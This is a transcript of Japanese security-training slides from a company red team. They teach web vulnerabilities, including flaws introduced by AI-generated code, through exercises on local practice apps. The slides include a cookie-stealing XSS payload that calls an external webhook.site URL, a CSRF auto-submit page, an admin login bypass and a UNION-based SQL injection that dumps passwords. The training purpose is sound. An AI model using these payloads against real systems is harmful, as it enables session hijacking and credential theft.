Share
Embed
Transcript
209 slides
-
講師紹介 山田 快 / Kai Yamada (じぶりん @gpioblink) • 2024年春〜
RED TEAM所属 • リクルート新卒入社 10 -
講師紹介 仲西 朋也 / Tomoya Nakanishi • 2022年春〜 RED TEAM所属
• リクルート新卒入社 11 -
講義のスケジュール 10:15 1日目 インプット 導入編(前半) AIで生成される 脆弱性を体感しよう 12:30 13:30 昼休憩
導入編(後半) 脆弱性を知ろう 18:30 12 2日目 アウトプット チーム演習(説明) 昼休憩 12:15 13:15 チーム演習 解説・復習 6/11(木) 10:15 6/12(金) 16:30 18:30 -
注意事項 この講義では実際に悪用が可能なコードを取り扱います。 取り扱いには十分に注意してください。 • 許可されたシステム以外に試さないこと (不正アクセス禁止法) • 正当な理由なくマルウェアを取得・保有しないこと (不正指令電磁的記録に関する罪) •
インターネット上で配布されるソフトウェアの利用時には、それらの信頼性を 事前に確認すること (情報セキュリティ対策基準) 14 -
本研修で扱う攻撃手法について 本資料で解説する攻撃手法や脆弱性に関する情報は、いずれも世の中で広く認知 されている既知の脅威であり、当社が独自に開発したものではありません。 この資料で紹介する攻撃手法は全て、OWASPにより、 注意喚起のために公開されている内容になります。 【本講座で扱う攻撃手法の出典】 OWASP Cheat Sheet Series
( https://cheatsheetseries.owasp.org/ ) OWASPとは? Webアプリケーションのセキュリティ向上を目的とした世界的な非営利コミュニティです。 OWASPが公開する情報は、日本の公的機関においてもセキュリティ対策の指針として参照されており、 その信頼性は広く認められています。 -
ローカルでアプリの起動 ソースコードをダウンロードしたディレクトリで以下を入力してください $ docker compose up --build -d 「unknown flag」のエラーがでる場合は?
Dockerが起動していない可能性があります。 Launchpad(アプリ一覧画面)から Docker Desktopアプリを 起動して再試行してください。 ✔ Check2: 3つのコンテナがStartedやHealthyになればOK (起動まで少々時間がかかります) 19 -
導入演習:「ポチッと童話本舗」を触ってみましょう(実施時間: 5分) 1-1. アプリを触って、機能を試してみましょう アカウント登録の際は普段のパスワードは入力しないでください 本の購⼊に必要な残⾼を追加するには? 「バウチャーコード」を入力して残高を追加する仕様になっています。 100円 ... WELCOME100
500円 ... CHARGE500 1000円 ... BONUS1000 ※ 1回誰かが利用するとシステム全体で使用できなくなる仕様です。 リセットしたい場合は環境を再起動してください。 (方法は数ページ先のスライドに記載) 21 -
(参考) AIに命令するプロンプトの例 以下の指⽰に従い、追加の実装を⾏なってください。 ``` <ここに問題⽂の全⽂を貼る> ``` 完成したアプリは、`docker compose up` により起動し、定義している各画⾯が仕様通りに動作することを確認してください。
なお、以下の前提と制約を必ず守ってください。 - 既存のディレクトリ構成・設定ファイル(.gitignore, lint 設定, CI 設定など)は可能な限り変更せずに利⽤してください。 - 既存コードや設定の削除・⼤きな構造変更は⾏わず、必要な範囲での追加・最⼩限の修正にとどめてください。 - 外部ライブラリの追加が必要な場合は、その⽬的と候補を理由付きで提案したうえで、最⼩限のライブラリ構成にしてくださ い。 AI 実装時の禁⽌事項は以下の通りです。 - セキュリティ上のリスクが⾼い実装を⾏わないでください。 - 意図や理由を説明できない複雑なロジックの導⼊や、過度にマジックナンバーに依存する実装は避けてください。 - プロジェクトで既に採⽤しているスタイルやライブラリと明らかに異なる技術スタックを、理由なく混在させないでくださ い。 実装後は、以下の観点で⾃⼰チェックを⾏ってください。 24 - `docker compose down -v && docker compose up --build` で起動したアプリケーション上で、PROJECT_SPEC.md に記載さ れている画⾯遷移・⼊⼒パターンを⼀通り実⾏し、仕様通りに動作することを確認してください。(DBのデータも初期化して実 ⾏するためdown -vを⾏っています) - 主要なユースケースについては、可能な範囲で⾃動テスト(ユニットテストまたは E2E テスト)を追加し、テストが成功する ことを確認してください。 - ⽣成したコードの役割・意図・前提条件が分かるよう、必要に応じてコメントや README への追記を⾏ってください。 -
(参考) 環境を再起動したいとき ソースコードを修正し、修正後の挙動を試したい場合は 問題をダウンロードしたディレクトリで以下のコマンドを入力します。 入力後、再び http://localhost:9000 にアクセスすると変更が適用されています。 コンテナを再起動 $ docker
compose down -v && docker compose up --build -d (down ‒v により毎回DBをリセットした状態で起動します) 25 -
演習1: 複数冊購入での割引 ‒ 問題の進め方 (20分) 1. Cursorに仕様書をコピペしてプロンプトを作り、そのまま動くコードを書 いてもらいましょう 2. 生成されたアプリを起動して、追加指示通りの動作をすることを確認しま
しょう 3. 【発展】実装内容に不備がないか考えてみましょう。また、問題があれ ば、修正方法を考えてみましょう ※ 既存の仕様が適切でない場合は、エンドポイントの入出力の仕様は壊さな い範囲で、実装内容を変更しても構いません 28 -
演習1[ヒント]: 複数冊購入での割引 ‒ 不備を見つけるためのヒント (+10分) • 追加指示書だけでなく、既存の基本設計書やコードも参考にしましょう • 価格はどのような設定になっているでしょうか? •
実装が仕様通りかだけでなく、その仕様でそもそも良いのかも 考えてみましょう • この割引キャンペーンは、何を目的に行われるのでしょうか? 29 -
演習1[解説]: プロダクトに脆弱性が生まれてないか確認しよう 演習解説 無料の本を含めて複数冊購入による割引を適用させられる? 本来購入したい本と合わせて割引が適用さ れる冊数分購入してみる 商品一覧には0円や1円の低価格の本がある 30 購入金額を増やさなくても割引が 適用できてしまう
0円の本を19冊と、 1000円の本を1冊カートに →0円で購入できる? -
演習1[解説]: AIはなぜ脆弱なコードを作ってしまったの? 演習解説 仕様通りの実装を行なっただけで、 その仕様でそもそも本当によいかの確認はしていなかったため。 AIへの指示 「冊数で割引する機能を 追加してください」 AIの動き 冊数で割引される機能ができた!
32 実行終了 追加指示書より(エンドポイント変更点) ↑この処理の間、 AIは「その仕様が目的を達成できるのか」 という思考をしていなかった -
AI、どれくらい問題を作り込む可能性が高いの? 演習解説 「一歩外側」まで「変更により既存の処理にどんな影響が生じるか」 考えていても、脆弱性の知識がなければ気づけない問題でした。 「一歩外側」まで考えて仕様書を読んでいれば、 「在庫削除という変更をした、その変更によって既存の処理にどんな影響が出るか?」と考える → 在庫削除前は「在庫数が上限として機能していた」ことに気づく → 削除後は「quantityに任意の自然数が入るようになった」と気づく
と、ここまでは気づけたでしょう。しかし、 「quantityが巨大だとオーバーフロー(桁溢れ)してtotalPriceが負の数になるかも」 と気づくには、オーバーフローという脆弱性の知識が必要でした 34 -
アプリのソースコードへのアクセス[2,3問目] 残りの問題はベースとなるソースコードが少し違います。 以下のコマンドを入力し、使用するソースコードを切り替えてしてください 1. 1問目で使っていたコンテナを停止 $ cd dowa-honpo $ docker
compose down -v 2. 2,3問目用のソースコードをダウンロード 非公開 3. 2,3問目用のコンテナを起動 $ docker compose up --build -d 36 -
演習2:「在庫数」による購入制限の撤廃 ‒ 問題の進め方 (20分) 1. Cursorに仕様書をコピペしてプロンプトを作り、そのまま動くコードを書 いてもらいましょう 2. 生成されたアプリを起動して、追加指示通りの動作をすることを確認しま しょう
3. 【発展】実装内容に不備がないか考えてみましょう。また、問題があれ ば、修正方法を考えてみましょう ※ 既存の仕様が適切でない場合は、エンドポイントの入出力の仕様は壊さな い範囲で、実装内容を変更しても構いません 40 -
演習2[解説]: AIはなぜ脆弱なコードを作ってしまったの? 演習解説 その変更により既存の処理にどんな影響が生じるかの考慮が不足していたため。 PurchaseService.java の purchase関数部分 (修正前) 指示 「在庫の機能を削除してください」
削除済み 直前のコードが変更の影響を考慮せず削除されたため、 quantityの値が大きい際に脆弱性が発生するようになった AIの動き 在庫の機能を削除できた! 45 実行終了 -
演習2[解説]: あなたはこの欠陥に気づけましたか? 演習解説 「一歩外側」まで「変更により既存の処理にどんな影響が生じるか」 考えていても、脆弱性の知識がなければ気づけない問題でした。 「一歩外側」まで考えて仕様書を読んでいれば、 「在庫削除という変更をした、その変更によって既存の処理にどんな影響が出るか?」と考える → 在庫削除前は「在庫数が上限として機能していた」ことに気づく →
削除後は「quantityに任意の自然数が入るようになった」と気づく と、ここまでは気づけたでしょう。しかし、 「quantityが巨大だとオーバーフロー(桁溢れ)してtotalPriceが負の数になるかも」 と気づくには、オーバーフローという脆弱性の知識が必要でした 46 -
脆弱性に気づくには、どうすればいいでしょうか? 先ほど、脆弱性を見つけるための2つの要素を学びました 一歩外側までの思考 例 • 既存の処理への影響を考える • 何のために作るか考える 普段の意識でできる 54
脆弱性の知識 例 • 数値の桁溢れによる計算エラー 知らないと対策できない! -
脆弱性に気づくには、どうすればいいでしょうか? 先ほど、脆弱性を見つけるための2つの要素を学びました 一歩外側までの思考 例 • 既存の処理への影響を考える • 何のために作るか考える 普段の意識でできる 55
脆弱性の知識 例 • 数値の桁溢れによる計算エラー 知らないと対策できない! この研修では、 このあと「脆弱性の知識」を中心に学んでいきます -
(参考) ローカルでの起動手順 vulnmarkerをダウンロードしたディレクトリで以下を入力してください $ docker compose up --build -d 「unknown
flag」のエラーがでる場合は? Dockerが起動していない可能性があります。 Launchpad(アプリ一覧画面)から Docker Desktopアプリを 起動して再試行してください。 ✔ Check3: 3つのコンテナがStartedになればOK (起動まで少々時間がかかります) 68 -
(参考) 環境を再起動したいとき ソースコードを修正し、修正後の挙動を試したい場合は vulnmarkerをダウンロードしたディレクトリで以下2つのコマンドを入力します。 1. コンテナを終了 $ docker compose down
2. コンテナを起動 $ docker compose up ‒d --build ※ docker compose restart コマンドでは再ビルドがされないため、 こちらの手順で再起動してください 70 -
導入編では以下7つの脆弱性を紹介します 1. XSS(Cross-Site Scripting) 2. アクセス制御不備(IDORなど) 3. 認証認可の不備(CSRFなど) 4. SQL
Injection 5. Path Traversal 6. DoS(Denial-of-Service) 7. OS Command Injection 71 -
演習2:XSSを悪用した攻撃 (実施時間: 20分) 2-1. 検索の入力欄に<script>alert("1")</script>を入力して何が起こるかを確認 してみましょう 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように
細工してみましょう 2-4. 【発展】作成した他のアカウントのCookieを窃取するXSSのコードを作成 してみましょう ヒント1: Cookie受取には、Appendix. 1のwebhook.siteを利用 ヒント2: JS上ではdocument.cookieでCookieの値を取得可能 73 -
演習解説 演習解説:XSSを悪用した攻撃 2-1. 検索の入力欄に<script>alert()</script>を入力して何が起こるかを確認し てみましょう ① http://localhost:5000/posts/search にアクセス ② <script>alert("1")</script>を入力
③ 検索ボタンを押すと ポップアップが出現 この脆弱性を応用すると…? <script></script>の中身を書き換えると、 ブラウザ上で任意のJavaScriptが実行できる! 74 -
演習解説 演習解説:XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 【なぜポップアップが出てしまったのか】 ① 2-1. の画面で command +
option + i を押し、開発者ツールを開く ② Networkタブを選択する ④ Typeがdocumentの通信を選択する ③ 2-1.の画面上の更新ボタンを押す ※ 他のファイルは、jsやcssであり、固定の内容のファイル (静的なファイル)と思われるためdocumentを見る 75 -
演習解説 演習解説:XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 【ソースコード中から原因を特定】 ⑧ ⑦で判明した情報をもとに /posts/search への GETリクエストを検索
⑧ 発見したソースコードを読み、ユーザーの入力からレスポンスまでの処理の流れを調査 a. ⑥で確認したリクエストパラメータ からurlの値を取得 b. ユーザーから受け取ったurlを messageに格納 c. reply.view() にてmessageを受け取り search.ejsを用いて ブラウザに返すレスポンスを作成する 78 -
演習解説 演習解説:XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 【ソースコード中から原因を特定】 messageを「<%- %>」で囲っている ⑨ ⑧でレスポンス作成に用いられていた search.ejsを開き、処理を調査
⑩ このタグの意味をejsの公式ドキュメントより調査 <%- は、エスケープ処理をせずに出力するもの この脆弱性の発生原因は…? 79 ユーザーから受け取った入力値を エスケープ処理せずレスポンスに出力していること! -
演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【まずは 2-1. と同様の方法を試す】 ① http://localhost:5000/profile
にアクセス ④ 自分の自己紹介ページにアクセス ⑤ スクリプトが実行されないことを確認 ② <script>alert("1")</script>を入力 80 ③ プロフィールを更新 -
演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【スクリプトが実行されない原因を調査】 ⑥ ⑤の画面で command +
option + i を押し、開発者ツールを開く ⑦ Networkタブを選択し、⑤の画面から更新 ⑧ typeがdocumentの通信を選択する ⑨ Responseタブを選択する タグがエスケープ(無害化)されている 81 -
演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう でもタグが無害化されているなら、 ⑤の画面でタグがそのまま表示されるはずでは? 表示の際にどう解釈されているか確認しましょう ⑩ Elementsタブを選択する
⑪ ▶を押し、「こんにちは」の箇所まで展開 本来表示されるはず <script>alert()</script> 無害化されない通常のHTMLタグとして認識 82 -
演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう HTMLソースだと無害化されているのに、通常のタグとして認識されている原因は、スクリプトにあるはず ⑫ ⑨の画面からHTMLソースのスクリプト部分を調査 b. 文中にURLがあれば<a>タグにする処理
URLや改行文字の変換処理であり <script>タグの変換には関係なさそう c. 空白の削除や改行を<br>タグにする処理 a.自己紹介のHTML要素からテキストを textContent で取得し、 processUserSelfIntroduction()を実行 83 d. innerHTMLを用いて処理結果を自己紹介のHTML要素に設定 値の取得や設定の処理で 暗示的にタグの変換がされる可能性 -
演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【textContentとinnerHTMLの挙動を調査】 ⑬ 以下のHTMLを適当な場所に保存 <!DOCTYPE html>
<html lang="ja"> <head> <meta charset="UTF-8"> </head> <body> <div id="test"><a href="https://example.com">テス ト</a></div> </body></html> ⑭ 開発者ツールでConsoleタブを開く ⑮ let element = document.getElementById('test'); を入力 ⑯ element.textContent;を入力 ⑬ 保存場所のパスを開く <や"ではなく、アンエスケープされた文字列が取得されている → textContent ではエスケープ文字は アンエスケープされて取得される 84 -
演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう ⑱ ブラウザの表示がリンクに置き換わったことを確認 ⑰ element.innerHTML =
element.textContent; を⼊⼒ → innerHTMLでは入力値が HTML要素として設定される つまり要素の内容をtextContentで取得し、その値をinnerHTMLで設定すると…? 85 エスケープが解除されHTMLタグが読み込まれる! -
演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう でも、結局HTMLタグが読み込まれるのであれば、scriptタグが動作しなかったのはなぜ? ⑲ ウェブでinnerHTMLの仕様を調査 element.innerHTMLでは、要素にHTMLを挿入できるが <script>タグは実行されないことになっている
一方で、<script>タグを使わずに JavaScriptを実行することは可能だとわかる 86 つまり、innerHTMLを使って alert() を実行するには…? <script>タグを使わずにJavaScriptを実行する -
演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【最終的な解法】 ⑳ http://localhost:5000/profile にアクセス ㉒自分の自己紹介ページにアクセス
㉓ スクリプトが実行されることを確認 ㉑ <img src='x' onerror='alert(1)'> を入力 87 ③ プロフィールを更新 -
演習解説 演習解説:XSSを悪用した攻撃 2-4. 【発展】作成した他のアカウントのCookieを窃取するXSSのコードを作成 してみましょう 方針: Cookie は スクリプトから取得できるので、取得した内容を外部に送信するコードを書く。 【外部サーバーの準備】
① https://webhook.site/ にアクセス ② Editを選択 ⑤ URL(外部サーバーのURL)をコピーする ③ Add CORS headers にチェックを入れる ④ Save を押す 88 -
演習解説 演習解説:XSSを悪用した攻撃 2-4. 【発展】作成した他のアカウントのCookieを窃取するXSSのコードを作成 してみましょう 【XSSコードの実行を実験】 ⑥ http://localhost:5000/posts/search にアクセス ⑨
①の画面にリクエストが表示されることを確認 ⑧ 検索ボタンを押す ⑦ 以下のコードを入力 <script>fetch( "<⑤でコピーしたURL>?data=" + document.cookie )</script> Cookieの内容が取得できている 89 -
演習解説:XSSを悪用した攻撃 演習解説 2-4. 【発展】作成した他のアカウントのCookieを窃取するXSSのコードを作成 してみましょう 【他人のアカウントのCookieを窃取】 ⑫ 誰かが⑪のリンクを踏むとリクエストが表示される ⑩ XSSコード実行後のブラウザからURLをコピー
⑪ 他人にリンクを共有 先ほどと違う値(他人)の Cookieが取得できている 90 -
XSSを悪用すると、他にどのような被害が発生するの? 情報窃取 • Cookieの窃取によるセッションののっとり • Cookieを付与したリクエスト実行と内容の読み取り • 画面に表示された情報の搾取 悪意のあるコンテンツへの改変 •
詐欺ページの表示など 93 演習2-3で扱った、こちらを詳しく説明します -
なぜXSSでCookieに存在する「セッションID」が第三者に漏れてしまうの? XSSにより、Cookieを攻撃者に送信するスクリプトが設置できるため。 被害者がXSSのあるページにアクセスし、そのスクリプトが実行されることで窃取される。 この人のプロフィール気 になる! 被害者 アクセスするとCookieを 攻撃者のサーバーに送信する JavaScript ペンギンくんの
セッションゲット! 95 攻撃者 アクセス時に実行 被害者はページを 閲覧しただけで Cookieが抜かれてしまう -
わざわざXSSを利用しなくても、攻撃者が用意したサイトから窃取できないの? Cookieはドメイン単位で管理されるため、基本的にスクリプトを用いて、 あるドメインから別のサイトのリソースへアクセスすることはできない。 XSSを使えば同じドメイン上でスクリプトを動かせるためこの制限を回避でき る。 ドメインが異なるサイトの場合 ここの部分を ドメインという ブラウザ https:/
Cookie ...のページ https://evil.example.com/...のページ fetch()によるレスポンス読み取り 悪意のあるJavaScript ドメインを超える接続は制限される 96 -
このようなXSSの脆弱性は、なにが原因で発生するの? 外部からの入力に対して、適切な無害化処理が行われておらず、スクリプト などを含む入力がそのままブラウザで解釈されてしまうため ユーザーの入力がそのまま代入される → 危険なコードを差し込まれうる note 実装例1: <img onload="ユーザーの入力">
実装例2: document.body.innerHTML = "ユーザーの入力" 実装例3: document.write("ユーザーの入力") jQueryのjQuery.append() や React.jsのdangerouslySetInnerHTML など Web UIを操作するためのライブラリでも、一部無害化処理が行われない場合があるため注意。 97 -
演習解説 演習解説:IDORを悪用した攻撃 3-1. 他人の投稿を編集してみましょう 【投稿の流れの確認】 ① http://localhost:5000/posts にアクセス ② 適当な投稿を作成し投稿
④ 編集内容を入力し✔マークを押す ③ 自分の投稿の編集ボタンを押す ⑤ 編集内容が反映される 他人の投稿を編集するためには? 100 ④→⑤ の間に行われる操作を、他人に対して行いたい -
演習解説 演習解説:IDORを悪用した攻撃 3-1. 他人の投稿を編集してみましょう 具体的に④で行われる操作を確認する ⑥ 開発者ツールよりElementsタブを開く ⑥ ブラウザを④の画面にした状態で「要素を選択」ボタンを押す ⑧
テキストエリア前後の要素で投稿の指定箇所を探す ⑦ 編集画面のテキストエリア要素を選択 投稿IDの指定箇所を発見 101 -
演習解説 演習解説:IDORを悪用した攻撃 3-1. 他人の投稿を編集してみましょう 他人の投稿IDでIDを変更して編集を送信する ⑨ 他人の投稿に対して⑥〜⑧の手順を行い、他人の「data-post-idを取得」 ⑩ ⑧で選択していた要素に戻り、「data-post-id」を編集 他人の投稿
他人の投稿ID ⑬ ページを更新 すると 他人のコメントが差し変わったことがわかる 102 ダブルクリックで編集可能 ⑫ コメントを編集し送信 -
演習解説 演習解説:IDORを悪用した攻撃 3-2. 【発展】curlを使って3-1.と同様のことをやってみましょう ① 開発者ツールのNetworkタブを開きながら、3-1の①〜⑤の操作を行う ③ ②のリクエストについてHeadersやPayloadのタブを確認 /posts/:idへのPOSTリクエスト 確かに編集内容を送っていそう
② 3-1の④の操作の時に行われた操作の詳細を確認 ④ ①の画面から操作を右クリックし、Copy as cURL を選択 103 -
演習解説 演習解説:IDORを悪用した攻撃 3-3. 【発展】Burp Suiteを使って3-1.と同様のことをやってみましょう ① BurpSuite Community Edition を起動
② Nextを選択 105 ③ Start Burpを選択 -
演習解説 演習解説:IDORを悪用した攻撃 3-3. 【発展】Burp Suiteを使って3-1.と同様のことをやってみましょう ④ Proxyタブを開く ⑤ Open browserを押す
⑥ ブラウザが開くので http://localhost:5000/posts にアクセス ⑦ アクセス時に以下のような表示が出た場合は 許可を選択 106 -
演習解説 演習解説:IDORを悪用した攻撃 3-3. 【発展】Burp Suiteを使って3-1.と同様のことをやってみましょう ⑧ ⑥のブラウザで3-1の①〜③までの手順を行う ⑨ Intercept off
ボタンを押し、onにする ⑪ ⑨の画面に⑩の操作により送信されるリクエストが表示される ⑩ 投稿ボタンを押す /posts/:idへのPOSTリクエスト 日本語はエンコードされているけど本文に見える 107 -
演習解説 演習解説:IDORを悪用した攻撃 3-3. 【発展】Burp Suiteを使って3-1.と同様のことをやってみましょう ⑬ Forwardボタンを押す ⑭ 以降のリクエストは編集不要なのでInterceptをoffにする ⑫
投稿のID部分を他人のものに差し替える ⑮ ページを更新すると反映が確認できる 108 -
演習解説 演習解説:IDORを悪用した攻撃 【Burp Suiteの補足: リクエストの履歴確認方法】 ⑯ BurpSuiteの画面でHTTP historyを選択 ⑰ #を押し、降順に並べる
⑱ 適当なリクエストをクリック BurpSuiteから開いたブラウザで発生した通信が 全て記録されています! そのリクエストやレスポンスの 通信内容が表示される この機能は何に使うの? あとからブラウザでの通信内容を確認するため ブラウザの開発者ツールと違い ページが遷移しても連続して保存されるので便利 109 →以降はBurpsuiteのブラウザの使用を前提として進めます -
IDORの原理 投稿ごとにIDを割り当ててサーバー側で識別 編集対象の投稿をリクエスト時にIDで指定 ID: 1の投稿を更新するリクエスト POST /posts/1 Aさんが自身の 投稿(ID: 1)を更新
comment=今日はいい天気☀ ID: 2の投稿を更新するリクエスト POST /posts/2 攻撃者が自身の 投稿(ID: 2)を更新 112 comment=こんにちは! 投稿1 Aさん 「今日はいい天気☀」 投稿2 攻撃者 「こんにちは」 -
IDORの原理 投稿1 Aさん 「私はお金持ちです!」 ID: 2の投稿を更新するリクエスト 投稿2 POST /posts/1 攻撃者が自身の
投稿(ID: 2)を更新 113 comment=私はお金持ちです! 他人の投稿IDに 変更して更新 攻撃者 「こんにちは」 -
演習4:CSRFを悪用した攻撃 (実施時間: 20分) 4-1. サービスにログイン中の他ユーザーがクリックするだけでユーザーが 削除されてしまうURLを作ってください 4-2. 4-1.のようにリンクをクリックするだけで削除される挙動はなぜ 問題だと考えられるでしょうか? (どのような状態からのリクエストなら問題ないかも合わせて考えてみましょう)
4-3. 【発展】サービスにログイン中の他のユーザーが開くだけで、意図し ない投稿をさせられる罠ページを作ってみましょう 115 -
演習4:CSRFを悪用した攻撃 (実施時間: 20分) 演習解説 4-1. サービスにログイン中の他ユーザーがクリックするだけでユーザーが 削除されてしまうURLを作ってください ① http://localhost:5000/profile にアクセス
③ 確認画面等なしにユーザーが削除されることを確認 ② 「ユーザーを削除」を押す 116 -
演習解説 演習4:CSRFを悪用した攻撃 (実施時間: 20分) 4-1. サービスにログイン中の他ユーザーがクリックするだけでユーザーが 削除されてしまうURLを作ってください ④ BurpSuiteで②の操作の際のリクエストを確認すると、/leaveリクエストがある ⑤
適当なユーザーを作成し、http://localhost:5000/leave にアクセス そのまま /login ページにリダイレクト この処理だけで削除が行われていそう Cookieのセッションでユーザーを識別 117 ⑥ ログインの失敗を確認 → 4-1の回答は http://localhost:5000/leave -
演習4:CSRFを悪用した攻撃 (実施時間: 20分) 4-2. 4-1.のようにリンクをクリックするだけで削除される挙動はなぜ 問題だと考えられるでしょうか? (どのような状態からのリクエストなら問題ないかも合わせて考えてみましょう) 【この挙動が問題である理由】 ユーザーの意図しない操作で、サービスに変更が行われてしまう可能性があるため。 例えば、外部のサイトに削除URLへのリンクを設置したとしても、
クリックするだけで削除が実行されてしまう。 【どのようなリクエストなら問題ないか】 ユーザーの意図した操作のみ実行可能とするため、 「正規の画面から操作されたものか」確認できている リクエストのみを処理するべきである。 118 演習解説 -
演習解説 演習4:CSRFを悪用した攻撃 (実施時間: 20分) 4-3. 【発展】サービスにログイン中の他のユーザーが開くだけで、意図し ない投稿をさせられる罠ページを作ってみましょう ① 以下のHTMLを test.html
として適当な場所に保存 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> </head> <body> <form action="http://localhost:5000/posts" method="post" id="x"> <input type="hidden" name="url" value="https://recruit.co.jp"> <input type="hidden" name="comment" value="意図しない投稿"> </form> <script> window.x.submit() </script> </body> </html> ② ①の保存先ディレクトリでターミナルを起動し、 python3 ‒m http.server 8000 を実行 119 ③ http://localhost:8000/test.htmlにアクセス ④ 遷移先のページで意図しない投稿を確認できる -
なぜ、攻撃者のサイト経由でもログインが必要な処理を実行できたの? ブラウザが、アクセス先のサイト用に保存しているCookie(セッションID)を、攻撃者のサイト 経由でアクセスした場合でも自動的に送信していたため Cookieは遷移元のページに関わらず、リクエスト先のドメインのものが自動で付与される 攻撃者の罠サイトにアクセス https://evil.example.com ユーザーhoge https:// .jpへ のリンクやフォームを含むページ
vulnmarkerに ログイン済み (セッションIDの Cookieがある) .jp 記事投稿などのログインが必要な機能にアクセス 私のセッションIDはXXです リクエストに 自動的にCookie付与 121 https:// セッションIDをもとに ログイン状態として処理 -
演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう(複数箇所あります) 5-2.
パスワードを知らないadminユーザーでログインしてみましょう 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう ヒント1: UNION句を利用する ヒント2: UNION句では結合元とカラム数を一致させる必要がある 16:45まで 123 -
演習解説 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう(複数箇所あります)
エラーの出る箇所は、以下の2箇所でした。 ログインページ http://localhost:5000/login ① いずれかに「'」を入力 検索ページ http://localhost:5000/posts/search ① いずれかに「'」を入力 ② ログイン ③ SQLエラーが表示される 124 ③ SQLエラーが表示される ② 検索 -
演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう(複数箇所あります)
検索ページ (http://localhost:5000/login) の原因箇所 ① ソースコードを /login で検索しエンドポイントの実装を確認 ② DBの処理と思われる実装を確認。ユーザの入力値を そのままSQLクエリ内に代入している部分を発見 125 -
演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう(複数箇所あります)
検索ページ (http://localhost:5000/posts/search) の原因箇所 ① ソースコードを /posts/search で検索しエンドポイントの実装を確認 ② DBの処理と思われるselectPostsの実装を確認 (VSCodeであれば Command + 関数名をクリック) 126 ③ selectPosts関数を調査し、ユーザの入力値をそのまま SQLクエリ内に代入している部分を発見 -
演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-2. パスワードを知らないadminユーザーでログインしてみましょう 5-1で調査したソースコードより、赤字の部分に 任意の文字列を差し込めることがわかる
passwordの一致判定の部分が 常に条件を満たすようにすればログインできる SELECT id, username, password FROM users WHERE username = '<username>' AND password = '<password>' SELECT id, username, password FROM users ▶ WHERE username = 'admin' AND password = '' OR 1=1 #' 「password = ''」 は真でなくても、 「1=1」は必ず真なので、 「password = '' OR 1=1」は必ず真 127 -
演習解説 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-2. パスワードを知らないadminユーザーでログインしてみましょう ① ログインページ
http://localhost:5000/login にアクセス ⑤ 適当な投稿を行う ② ユーザー名に admin を入力 ③ パスワードに ' OR 1=1 # を入力 ④ ログイン 128 ⑥ adminとして 投稿されたことを確認 -
演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう ヒント1:
UNION句を利用する ヒント2: UNION句では結合元とカラム数を一致させる必要がある 5-1で調査したソースコードより、赤字の部分に 任意の文字列を差し込めることがわかる (urlのみを入力した場合) SELECT id, comment, <中略> FROM posts LEFT JOIN users <中略> WHERE urls.url LIKE '%<入力可能>%' ORDER BY posts.created̲at DESC 129 ← usersテーブル自体は読み込まれている ←ここで何らかの形でpasswordカラムを 取得するようにしたい 演習解説 -
演習解説 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう
ヒント1: UNION句を利用する ヒント2: UNION句では結合元とカラム数を一致させる必要がある ヒントを元にUNION句の活用を考えると、 5-1で調査したソースコードより このクエリは12個のカラムが必要とわかる このカラムの中で検索結果として表示される部分に usernameとpasswordの組み合わせを表示するクエリを作る %' UNION SELECT ▶ 1, password,1,username,1,1,1,1,1,1,1,1 FROM users; # comment の部分に、password username の部分に、username その他はカラム数の一致のため1で埋める comment username 130 表示に使うカラムは画面上に表示される要素から適当に選択 -
演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう
① 検索ページ http://localhost:5000/posts/search にアクセス ② いずれかに以下のクエリを入力 ③ 検索 %' UNION SELECT 1, password,1,username,1,1,1,1,1,1,1,1 FROM users; # 131 ④ 通常の検索結果の後までスクロールすると、 全員のusernameとpasswordが表示されている UNIONにより 元の検索結果にパスワードの行が追加された! -
SQL Injectionの原理 Webアプリケーションではデータの保存にデータベース(DB)が利用されることが多い DBの操作に応じて 発行するSQLクエリを組み立て コメントに"hoge"が 含まれる投稿を検索 "hoge"を含むコメントを DB検索する処理 SELECT
